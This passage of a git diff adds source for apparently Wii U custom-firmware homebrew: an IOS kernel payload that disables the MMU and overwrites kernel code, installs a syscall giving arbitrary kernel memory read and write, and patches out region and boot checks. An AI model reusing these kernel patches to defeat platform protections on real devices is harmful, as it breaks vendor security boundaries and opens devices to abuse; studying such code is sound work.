map_info.size = 0x4000; + map_info.domain = 1; // MCP + map_info.type = 3; // 0 = undefined, 1 = kernel only, 2 = read only, 3 = read write + map_info.cached = 0xFFFFFFFF; + _iosMapSharedUserExecution(&map_info); +} diff --git a/source/ios_kernel/source/instant_patches.h b/source/ios_kernel/source/instant_patches.h new file mode 100644 index 0000000..6130b70 --- /dev/null +++ b/source/ios_kernel/source/instant_patches.h @@ -0,0 +1,29 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef _INSTANT_PATCHES_SETUP_H_ +#define _INSTANT_PATCHES_SETUP_H_ + +void instant_patches_setup(void); + +#endif diff --git a/source/ios_kernel/source/ios_mcp_patches.c b/source/ios_kernel/source/ios_mcp_patches.c new file mode 100644 index 0000000..8fbe359 --- /dev/null +++ b/source/ios_kernel/source/ios_mcp_patches.c @@ -0,0 +1,67 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "types.h" +#include "elf_patcher.h" +#include "ios_mcp_patches.h" +#include "../../ios_mcp/ios_mcp.bin.h" +#include "../../ios_mcp/ios_mcp_syms.h" + +#define MCP_CODE_BASE_PHYS_ADDR (-0x05100000 + 0x13D80000) + +extern const patch_table_t mcp_patches_table[]; +extern const patch_table_t mcp_patches_table_end[]; + +u32 mcp_get_phys_code_base(void) +{ + return _text_start + MCP_CODE_BASE_PHYS_ADDR; +} + +void mcp_run_patches(u32 ios_elf_start) +{ + // write ios_mcp code and bss + section_write_bss(ios_elf_start, _bss_start, _bss_end - _bss_start); + section_write(ios_elf_start, _text_start, (void*)mcp_get_phys_code_base(), _text_end - _text_start); + + section_write_word(ios_elf_start, 0x05056718, ARM_BL(0x05056718, _text_start)); + + section_write_word(ios_elf_start, 0x05002BBE, THUMB_BL(0x05002BBE, patch_SD_access_check)); + + u32 patch_count = (u32)(((u8*)mcp_patches_table_end) - ((u8*)mcp_patches_table)) / sizeof(patch_table_t); + patch_table_entries(ios_elf_start, mcp_patches_table, patch_count); + + section_write_word(ios_elf_start, 0x050254D6, THUMB_BL(0x050254D6, MCP_LoadFile_patch)); + section_write_word(ios_elf_start, 0x05025242, THUMB_BL(0x05025242, MCP_ioctl100_patch)); + + // change system.xml to syshax.xml + section_write_word(ios_elf_start, 0x050600F0, 0x79736861); // ysha + section_write_word(ios_elf_start, 0x050600F4, 0x782E786D); // x.xm + + section_write_word(ios_elf_start, 0x05060114, 0x79736861); // ysha + section_write_word(ios_elf_start, 0x05060118, 0x782E786D); // x.xm + + // patch MCP syslogs + //section_write_word(ios_elf_start, 0x05055438, ARM_B(0x05055438, 0x0503DCF8)); + //section_write_word(ios_elf_start, 0x05056C2C, ARM_B(0x05056C2C, 0x0503DCF8)); + //section_write_word(ios_elf_start, 0x0500A4D2, THUMB_BL(0x0500A4D2, mcpThumb2ArmLog)); +} diff --git a/source/ios_kernel/source/ios_mcp_patches.h b/source/ios_kernel/source/ios_mcp_patches.h new file mode 100644 index 0000000..803368d --- /dev/null +++ b/source/ios_kernel/source/ios_mcp_patches.h @@ -0,0 +1,32 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef _MCP_PATCHES_H_ +#define _MCP_PATCHES_H_ + +#define MCP_LAUNCH_IMG_PHYS_ADDR (0x27000000) + +u32 mcp_get_phys_code_base(void); +void mcp_run_patches(u32 ios_elf_start); + +#endif diff --git a/source/ios_kernel/source/ios_mcp_patches_asm.s b/source/ios_kernel/source/ios_mcp_patches_asm.s new file mode 100644 index 0000000..dd9ab4a --- /dev/null +++ b/source/ios_kernel/source/ios_mcp_patches_asm.s @@ -0,0 +1,34 @@ +.arm + +#patch_os_launch_sig_check: +# .thumb +# mov r0, #0 +# mov r0, #0 + +patch_wfs_partition_check: + .thumb + mov r0, #0 + mov r0, #0 + + +patch_bootMovie_check: +patch_bootLogoTex_check: +patch_region_launch_check: + .arm + mov r0, #0 + bx lr + + +.globl mcp_patches_table, mcp_patches_table_end +mcp_patches_table: +# origin data size +# .word 0x0502ADF6, patch_wfs_partition_check, 4 +# .word 0x05014AD8, patch_wfs_partition_check, 4 +# over an hour, MCP crash prevention + .word 0x05022474, 0xFFFFFFFF, 4 +# MCP patches end here actually but lets tread the ACP patches as MCP as there are only patches + .word 0xE0030D68, patch_bootMovie_check, 4 + .word 0xE0030D34, patch_bootLogoTex_check, 4 + .word 0xE0030498, patch_region_launch_check, 4 +mcp_patches_table_end: + diff --git a/source/ios_kernel/source/kernel_patches.c b/source/ios_kernel/source/kernel_patches.c new file mode 100644 index 0000000..03deadf --- /dev/null +++ b/source/ios_kernel/source/kernel_patches.c @@ -0,0 +1,123 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "types.h" +#include "../../common/kernel_commands.h" +#include "elf_patcher.h" +#include "ios_mcp_patches.h" +#include "kernel_patches.h" +#include "exception_handler.h" +#include "fsa.h" +#include "utils.h" + +extern void __KERNEL_CODE_START(void); +extern void __KERNEL_CODE_END(void); + +extern const patch_table_t kernel_patches_table[]; +extern const patch_table_t kernel_patches_table_end[]; + +static const u32 mcpIoMappings_patch[] = +{ + // vaddr paddr size ? ? ? + 0x0D000000, 0x0D000000, 0x001C0000, 0x00000000, 0x00000003, 0x00000000, // mapping 1 + 0x0D800000, 0x0D800000, 0x001C0000, 0x00000000, 0x00000003, 0x00000000, // mapping 2 + 0x0C200000, 0x0C200000, 0x00100000, 0x00000000, 0x00000003, 0x00000000 // mapping 3 +}; + +static const u32 KERNEL_MCP_IOMAPPINGS_STRUCT[] = +{ + (u32)mcpIoMappings_patch, // ptr to iomapping structs + 0x00000003, // number of iomappings + 0x00000001 // pid (MCP) +}; + +static int kernel_syscall_0x81(u32 command, u32 arg1, u32 arg2, u32 arg3) +{ + switch(command) + { + case KERNEL_READ32: + { + return *(volatile u32*)arg1; + } + case KERNEL_WRITE32: + { + *(volatile u32*)arg1 = arg2; + break; + } + case KERNEL_MEMCPY: + { + //set_domain_register(0xFFFFFFFF); + kernel_memcpy((void*)arg1, (void*) arg2, arg3); + break; + } + case KERNEL_GET_CFW_CONFIG: + { + //set_domain_register(0xFFFFFFFF); + //kernel_memcpy((void*)arg1, &cfw_config, sizeof(cfw_config)); + break; + } + default: + return -1; + } + return 0; +} + +void kernel_launch_ios(u32 launch_address, u32 L, u32 C, u32 H) +{ + void (*kernel_launch_bootrom)(u32 launch_address, u32 L, u32 C, u32 H) = (void*)0x0812A050; + + if(*(u32*)(launch_address - 0x300 + 0x1AC) == 0x00DFD000) + { + int level = disable_interrupts(); + unsigned int control_register = disable_mmu(); + + u32 ios_elf_start = launch_address + 0x804 - 0x300; + + //! try to keep the order of virt. addresses to reduce the memmove amount + mcp_run_patches(ios_elf_start); + kernel_run_patches(ios_elf_start); + + restore_mmu(control_register); + enable_interrupts(level); + } + + kernel_launch_bootrom(launch_address, L, C, H); +} + +void kernel_run_patches(u32 ios_elf_start) +{ + section_write(ios_elf_start, (u32)__KERNEL_CODE_START, __KERNEL_CODE_START, __KERNEL_CODE_END - __KERNEL_CODE_START); + //section_write_word(ios_elf_start, 0x0812A120, ARM_BL(0x0812A120, kernel_launch_ios)); + + section_write(ios_elf_start, 0x08140DE0, KERNEL_MCP_IOMAPPINGS_STRUCT, sizeof(KERNEL_MCP_IOMAPPINGS_STRUCT)); + + section_write_word(ios_elf_start, 0x0812A134, ARM_BL(0x0812A134, crash_handler_prefetch)); + section_write_word(ios_elf_start, 0x0812A1AC, ARM_BL(0x0812A1AC, crash_handler_data)); + section_write_word(ios_elf_start, 0x08129E50, ARM_BL(0x08129E50, crash_handler_undef_instr)); + + section_write_word(ios_elf_start, 0x0812CD2C, ARM_B(0x0812CD2C, kernel_syscall_0x81)); + + u32 patch_count = (u32)(((u8*)kernel_patches_table_end) - ((u8*)kernel_patches_table)) / sizeof(patch_table_t); + patch_table_entries(ios_elf_start, kernel_patches_table, patch_count); +} + diff --git a/source/ios_kernel/source/kernel_patches.h b/source/ios_kernel/source/kernel_patches.h new file mode 100644 index 0000000..c04e6aa --- /dev/null +++ b/source/ios_kernel/source/kernel_patches.h @@ -0,0 +1,31 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef _KERNEL_PATCHES_H +#define _KERNEL_PATCHES_H + +int kernel_init_otp_buffer(u32 sd_sector, int tagValid); +void kernel_launch_ios(u32 launch_address, u32 L, u32 C, u32 H); +void kernel_run_patches(u32 ios_elf_start); + +#endif diff --git a/source/ios_kernel/source/kernel_patches_asm.s b/source/ios_kernel/source/kernel_patches_asm.s new file mode 100644 index 0000000..85bd157 --- /dev/null +++ b/source/ios_kernel/source/kernel_patches_asm.s @@ -0,0 +1,17 @@ +.arm +.align 4 +patch_kernel_domains: + str r3, [r7,#0x10] + str r3, [r7,#0x0C] + str r3, [r7,#0x04] + str r3, [r7,#0x14] + str r3, [r7,#0x08] + str r3, [r7,#0x34] +patch_kernel_domains_end: + +.globl kernel_patches_table, kernel_patches_table_end +kernel_patches_table: +# origin data size + .word 0x081253C4, patch_kernel_domains, (kernel_patches_table_end - kernel_patches_table) +kernel_patches_table_end: + diff --git a/source/ios_kernel/source/main.c b/source/ios_kernel/source/main.c new file mode 100644 index 0000000..2a641bc --- /dev/null +++ b/source/ios_kernel/source/main.c @@ -0,0 +1,110 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "types.h" +#include "utils.h" +#include "ios_mcp_patches.h" +#include "instant_patches.h" + +#define USB_PHYS_CODE_BASE 0x101312D0 + +typedef struct +{ + u32 size; + u8 data[0]; +} payload_info_t; + +static const char repairData_set_fault_behavior[] = { + 0xE1,0x2F,0xFF,0x1E,0xE9,0x2D,0x40,0x30,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x40,0x00, + 0xE5,0x92,0x30,0x54,0xE1,0xA0,0x50,0x01,0xE3,0x53,0x00,0x01,0x0A,0x00,0x00,0x02, + 0xE1,0x53,0x00,0x00,0xE3,0xE0,0x00,0x00,0x18,0xBD,0x80,0x30,0xE3,0x54,0x00,0x0D, +}; +static const char repairData_set_panic_behavior[] = { + 0x08,0x16,0x6C,0x00,0x00,0x00,0x18,0x0C,0x08,0x14,0x40,0x00,0x00,0x00,0x9D,0x70, + 0x08,0x16,0x84,0x0C,0x00,0x00,0xB4,0x0C,0x00,0x00,0x01,0x01,0x08,0x14,0x40,0x00, + 0x08,0x15,0x00,0x00,0x08,0x17,0x21,0x80,0x08,0x17,0x38,0x00,0x08,0x14,0x30,0xD4, + 0x08,0x14,0x12,0x50,0x08,0x14,0x12,0x94,0xE3,0xA0,0x35,0x36,0xE5,0x93,0x21,0x94, + 0xE3,0xC2,0x2E,0x21,0xE5,0x83,0x21,0x94,0xE5,0x93,0x11,0x94,0xE1,0x2F,0xFF,0x1E, + 0xE5,0x9F,0x30,0x1C,0xE5,0x9F,0xC0,0x1C,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x10,0x00, + 0xE5,0x92,0x30,0x54,0xE5,0x9C,0x00,0x00, +}; +static const char repairData_usb_root_thread[] = { + 0xE5,0x8D,0xE0,0x04,0xE5,0x8D,0xC0,0x08,0xE5,0x8D,0x40,0x0C,0xE5,0x8D,0x60,0x10, + 0xEB,0x00,0xB2,0xFD,0xEA,0xFF,0xFF,0xC9,0x10,0x14,0x03,0xF8,0x10,0x62,0x4D,0xD3, + 0x10,0x14,0x50,0x00,0x10,0x14,0x50,0x20,0x10,0x14,0x00,0x00,0x10,0x14,0x00,0x90, + 0x10,0x14,0x00,0x70,0x10,0x14,0x00,0x98,0x10,0x14,0x00,0x84,0x10,0x14,0x03,0xE8, + 0x10,0x14,0x00,0x3C,0x00,0x00,0x01,0x73,0x00,0x00,0x01,0x76,0xE9,0x2D,0x4F,0xF0, + 0xE2,0x4D,0xDE,0x17,0xEB,0x00,0xB9,0x92,0xE3,0xA0,0x10,0x00,0xE3,0xA0,0x20,0x03, + 0xE5,0x9F,0x0E,0x68,0xEB,0x00,0xB3,0x20, +}; + +int _main() +{ + void(*invalidate_icache)() = (void(*)())0x0812DCF0; + void(*invalidate_dcache)(unsigned int, unsigned int) = (void(*)())0x08120164; + void(*flush_dcache)(unsigned int, unsigned int) = (void(*)())0x08120160; + + flush_dcache(0x081200F0, 0x4001); // giving a size >= 0x4000 flushes all cache + + int level = disable_interrupts(); + + unsigned int control_register = disable_mmu(); + + /* Save the request handle so we can reply later */ + *(volatile u32*)0x0012F000 = *(volatile u32*)0x1016AD18; + + /* Patch kernel_error_handler to BX LR immediately */ + *(volatile u32*)0x08129A24 = 0xE12FFF1E; + + void * pset_fault_behavior = (void*)0x081298BC; + kernel_memcpy(pset_fault_behavior, (void*)repairData_set_fault_behavior, sizeof(repairData_set_fault_behavior)); + + void * pset_panic_behavior = (void*)0x081296E4; + kernel_memcpy(pset_panic_behavior, (void*)repairData_set_panic_behavior, sizeof(repairData_set_panic_behavior)); + + void * pusb_root_thread = (void*)0x10100174; + kernel_memcpy(pusb_root_thread, (void*)repairData_usb_root_thread, sizeof(repairData_usb_root_thread)); + + payload_info_t *payloads = (payload_info_t*)0x00148000; + kernel_memcpy((void*)USB_PHYS_CODE_BASE, payloads->data, payloads->size); + + + payloads = (payload_info_t*)0x00160000; + kernel_memcpy((void*)mcp_get_phys_code_base(), payloads->data, payloads->size); + + + // run all instant patches as necessary + instant_patches_setup(); + + *(volatile u32*)(0x1555500) = 0; + + /* REENABLE MMU */ + restore_mmu(control_register); + + invalidate_dcache(0x081298BC, 0x4001); // giving a size >= 0x4000 invalidates all cache + invalidate_icache(); + + enable_interrupts(level); + + return 0; +} diff --git a/source/ios_kernel/source/text.c b/source/ios_kernel/source/text.c new file mode 100644 index 0000000..0b7d99b --- /dev/null +++ b/source/ios_kernel/source/text.c @@ -0,0 +1,96 @@ +#include +#include +#include +#include + +#include "types.h" +#include "font_bin.h" + +#define FRAMEBUFFER_ADDRESS (0x14000000+0x38C0000) +#define FRAMEBUFFER_STRIDE (0xE00) +#define FRAMEBUFFER_STRIDE_WORDS (FRAMEBUFFER_STRIDE >> 2) + +#define CHAR_MULT 2 +#define CHAR_SIZE_X 8 +#define CHAR_SIZE_Y 8 + + +u32* const framebuffer = (u32*)FRAMEBUFFER_ADDRESS; + +void clearScreen(u32 color) +{ + int i; + for(i = 0; i < 896 * 504; i++) + { + framebuffer[i] = color; + } +} + +void drawCharacter(char c, int x, int y) +{ + if(c < 32)return; + c -= 32; + u8* charData = (u8*)&font_bin[(int)c << 3]; + u32* fb = &framebuffer[x + y * FRAMEBUFFER_STRIDE_WORDS]; + int i, j, n, k; + for(i = 0; i < CHAR_SIZE_Y; i++) + { + for(k = 0; k < CHAR_MULT; k++) + { + u8 v = *charData; + + for(j = 0; j < CHAR_SIZE_X; j++) + { + for(n = 0; n < CHAR_MULT; n++) + { + if(v & 1) + { + *fb = 0x00000000; + } + else + { + *fb = 0xFFFFFFFF; + } + fb++; + } + v >>= 1; + } + fb += FRAMEBUFFER_STRIDE_WORDS - CHAR_SIZE_X * CHAR_MULT; + } + charData++; + } +} + +void drawString(char* str, int x, int y) +{ + if(!str) return; + int k; + int dx = 0, dy = 0; + for(k = 0; str[k]; k++) + { + if(str[k] >= 32 && str[k] < 128) + drawCharacter(str[k], x + dx, y + dy); + + dx += CHAR_SIZE_X * CHAR_MULT; + + if(str[k] == '\n') + { + dx = 0; + dy -= CHAR_SIZE_Y * CHAR_MULT; + } + } +} + +void _printf(int x, int y, const char *format, ...) +{ + void (*kernel_vsnprintf)(char * s, size_t n, const char * format, va_list arg) = (void*)0x0813293C; + + va_list args; + va_start(args, format); + static char buffer[0x100]; + + kernel_vsnprintf(buffer, 0xFF, format, args); + drawString(buffer, x, y); + + va_end(args); +} diff --git a/source/ios_kernel/source/text.h b/source/ios_kernel/source/text.h new file mode 100644 index 0000000..816db49 --- /dev/null +++ b/source/ios_kernel/source/text.h @@ -0,0 +1,11 @@ +#ifndef TEXT_H +#define TEXT_H + +#include "types.h" + +void drawSplashScreen(void); +void clearScreen(u32 color); +void drawString(char* str, int x, int y); +void _printf(int x, int y, const char *format, ...); + +#endif diff --git a/source/ios_kernel/source/types.h b/source/ios_kernel/source/types.h new file mode 100644 index 0000000..5d8eced --- /dev/null +++ b/source/ios_kernel/source/types.h @@ -0,0 +1,16 @@ +#ifndef _TYPES_H +#define _TYPES_H + +#include + +typedef uint8_t u8; +typedef uint16_t u16; +typedef uint32_t u32; +typedef uint64_t u64; + +typedef int8_t s8; +typedef int16_t s16; +typedef int32_t s32; +typedef int64_t s64; + +#endif diff --git a/source/ios_kernel/source/utils.c b/source/ios_kernel/source/utils.c new file mode 100644 index 0000000..8ce65ae --- /dev/null +++ b/source/ios_kernel/source/utils.c @@ -0,0 +1,92 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ + +// this memcpy is optimized for speed and to work with MEM1 32 bit access alignment requirement +void reverse_memcpy(void* dst, const void* src, unsigned int size) +{ + const unsigned char *src_p; + unsigned char *dst_p; + + if((size >= 4) && !((dst - src) & 3)) + { + const unsigned int *src_p32; + unsigned int *dst_p32; + unsigned int endDst = ((unsigned int)dst) + size; + unsigned int endRest = endDst & 3; + + if(endRest) + { + src_p = ((const unsigned char*)(src + size)) - 1; + dst_p = ((unsigned char*)endDst) - 1; + size -= endRest; + + while(endRest--) + *dst_p-- = *src_p--; + } + + src_p32 = ((const unsigned int*)(src + size)) - 1; + dst_p32 = ((unsigned int*)(dst + size)) - 1; + + unsigned int size32 = size >> 5; + if(size32) + { + size &= 0x1F; + + while(size32--) + { + src_p32 -= 8; + dst_p32 -= 8; + + dst_p32[8] = src_p32[8]; + dst_p32[7] = src_p32[7]; + dst_p32[6] = src_p32[6]; + dst_p32[5] = src_p32[5]; + dst_p32[4] = src_p32[4]; + dst_p32[3] = src_p32[3]; + dst_p32[2] = src_p32[2]; + dst_p32[1] = src_p32[1]; + } + } + + unsigned int size4 = size >> 2; + if(size4) + { + size &= 3; + + while(size4--) + *dst_p32-- = *src_p32--; + } + + dst_p = ((unsigned char*)dst_p32) + 3; + src_p = ((const unsigned char*)src_p32) + 3; + } + else + { + dst_p = ((unsigned char*)dst) + size - 1; + src_p = ((const unsigned char*)src) + size - 1; + } + + while(size--) + *dst_p-- = *src_p--; +} diff --git a/source/ios_kernel/source/utils.h b/source/ios_kernel/source/utils.h new file mode 100644 index 0000000..24dfaf9 --- /dev/null +++ b/source/ios_kernel/source/utils.h @@ -0,0 +1,56 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef _UTILS_H +#define _UTILS_H + +#define ALIGN4(x) (((x) + 3) & ~3) + +#define kernel_memcpy ((void * (*)(void*, const void*, int))0x08131D04) +#define kernel_memset ((void *(*)(void*, int, unsigned int))0x08131DA0) +#define kernel_strncpy ((char *(*)(char*, const char*, unsigned int))0x081329B8) +#define disable_interrupts ((int(*)())0x0812E778) +#define enable_interrupts ((int(*)(int))0x0812E78C) +#define kernel_bsp_command_5 ((int (*)(const char*, int offset, const char*, int size, void *buffer))0x0812EC40) + +void reverse_memcpy(void* dest, const void* src, unsigned int size); + +static inline unsigned int disable_mmu(void) +{ + unsigned int control_register = 0; + asm volatile("MRC p15, 0, %0, c1, c0, 0" : "=r" (control_register)); + asm volatile("MCR p15, 0, %0, c1, c0, 0" : : "r" (control_register & 0xFFFFEFFA)); + return control_register; +} + +static inline void restore_mmu(unsigned int control_register) +{ + asm volatile("MCR p15, 0, %0, c1, c0, 0" : : "r" (control_register)); +} + +static inline void set_domain_register(unsigned int domain_register) +{ + asm volatile("MCR p15, 0, %0, c3, c0, 0" : : "r" (domain_register)); +} + +#endif diff --git a/source/ios_mcp/.gitignore b/source/ios_mcp/.gitignore new file mode 100644 index 0000000..19ee97e --- /dev/null +++ b/source/ios_mcp/.gitignore @@ -0,0 +1,4 @@ +build/ +*.bin +*.bin.h +*.elf diff --git a/source/ios_mcp/Makefile b/source/ios_mcp/Makefile new file mode 100644 index 0000000..bac5d03 --- /dev/null +++ b/source/ios_mcp/Makefile @@ -0,0 +1,85 @@ +ifeq ($(strip $(DEVKITARM)),) +$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") +endif + +ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) +export PATH:=$(DEVKITARM)/bin:$(PATH) +endif + +LOG_IP = 0xc0a800CC + +ifneq ($(LOG_IP),) +CFLAGS += -DLOG_IP=$(LOG_IP) +endif + +CC = arm-none-eabi-gcc +LINK = arm-none-eabi-gcc +AS = arm-none-eabi-as +OBJCOPY = arm-none-eabi-objcopy +OBJDUMP = arm-none-eabi-objdump +CFLAGS += -Wall -mbig-endian -std=gnu11 -mcpu=arm926ej-s -msoft-float -mfloat-abi=soft -Os +LDFLAGS += -nostartfiles -nodefaultlibs -mbig-endian -Wl,-T,link.ld +LIBS += -lgcc + +CFILES = $(wildcard source/*.c) +BINFILES = $(wildcard data/*.bin) +OFILES = $(BINFILES:data/%.bin=build/%.bin.o) +OFILES += $(CFILES:source/%.c=build/%.o) +DFILES = $(CFILES:source/%.c=build/%.d) +SFILES = $(wildcard source/*.s) +OFILES += $(SFILES:source/%.s=build/%.o) +PROJECTNAME = ${shell basename "$(CURDIR)"} +CWD = "$(CURDIR)"" + +#--------------------------------------------------------------------------------- +# canned command sequence for binary data, taken from devkitARM +#--------------------------------------------------------------------------------- +define bin2o + bin2s $< | $(AS) -EB -o $(@) +endef + +.PHONY:=all dirs + +all: dirs $(PROJECTNAME).bin $(PROJECTNAME)_syms.h $(PROJECTNAME).bin $(PROJECTNAME).bin.h + +dirs: + @mkdir -p build + +$(PROJECTNAME).elf: $(OFILES) + @echo "LD $@" + @$(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(sort $(filter-out build/crt0.o, $(OFILES))) $(LIBDIRS) $(LIBS) + +$(PROJECTNAME).bin: $(PROJECTNAME).elf + @echo "OBJCOPY $@\n" + @$(OBJCOPY) -j .text -j .rodata -j .data -O binary $(PROJECTNAME).elf $@ + +$(PROJECTNAME).bin.h: $(PROJECTNAME).bin + @xxd -i $< | sed "s/unsigned/static const unsigned/g;s/$(PROJECTNAME)$*/$(PROJECTNAME)/g" > $@ + +$(PROJECTNAME)_syms.h: + @echo "#ifndef $(PROJECTNAME)_SYMS_H" > $@ + @echo "#define $(PROJECTNAME)_SYMS_H" >> $@ + @$(OBJDUMP) -EB -t -marm $(PROJECTNAME).elf | grep 'g F .text' | grep -v '.hidden' | awk '{print "#define " $$6 " 0x" $$1}' >> $@ + @$(OBJDUMP) -EB -t -marm $(PROJECTNAME).elf | grep -e 'g .text' -e '_bss_' | awk '{print "#define " $$5 " 0x" $$1}' >> $@ + @echo "#endif" >> $@ + +clean: + @rm -f build/*.o build/*.d + @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_syms.h $(PROJECTNAME).bin $(PROJECTNAME).bin.h + @echo "all cleaned up !" + +-include $(DFILES) + +build/%.o: source/%.c + @echo "CC $(notdir $<)" + @$(CC) $(CFLAGS) -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.o: source/%.s + @echo "CC $(notdir $<)" + @$(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.bin.o: data/%.bin + @echo "BIN $(notdir $<)" + @$(bin2o) diff --git a/source/ios_mcp/link.ld b/source/ios_mcp/link.ld new file mode 100644 index 0000000..a5ddeac --- /dev/null +++ b/source/ios_mcp/link.ld @@ -0,0 +1,23 @@ +OUTPUT_ARCH(arm) + +SECTIONS +{ + .text 0x05116000 : { + _text_start = .; + build/crt0.o(.init) + *(.text*) + *(.rodata*) + } + _text_end = .; + + .bss 0x050BD000 : { + _bss_start = .; + *(.bss*); + } + _bss_end = .; + + /DISCARD/ : { + *(*); + } +} + diff --git a/source/ios_mcp/source/crt0.s b/source/ios_mcp/source/crt0.s new file mode 100644 index 0000000..7874223 --- /dev/null +++ b/source/ios_mcp/source/crt0.s @@ -0,0 +1,14 @@ +.section ".init" +.arm +.align 4 + +.extern _startMainThread +.type _startMainThread, %function + +mcpMainThread_hook: + mov r11, r0 + push {r0-r11,lr} + + bl _startMainThread + + pop {r0-r11,pc} diff --git a/source/ios_mcp/source/font.c b/source/ios_mcp/source/font.c new file mode 100644 index 0000000..91aef28 --- /dev/null +++ b/source/ios_mcp/source/font.c @@ -0,0 +1,49 @@ +const unsigned char font_bin[] = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x30, 0x18, 0x18, 0x00, 0x0C, 0x00, + 0x00, 0x22, 0x22, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x66, 0xFF, 0x66, 0xFF, 0x66, 0x66, + 0x00, 0x18, 0x7C, 0x06, 0x3C, 0x60, 0x3E, 0x18, 0x10, 0x46, 0x66, 0x30, 0x18, 0x0C, 0x66, 0x62, + 0x00, 0x3C, 0x66, 0x3C, 0x1C, 0xE6, 0x66, 0xFC, 0x00, 0x18, 0x0C, 0x06, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x30, 0x18, 0x0C, 0x0C, 0x18, 0x30, 0x00, 0x00, 0x0C, 0x18, 0x30, 0x30, 0x18, 0x0C, 0x00, + 0x00, 0x66, 0x3C, 0xFF, 0x3C, 0x66, 0x00, 0x00, 0x00, 0x18, 0x18, 0x7E, 0x18, 0x18, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x18, 0x18, 0x0C, 0x00, 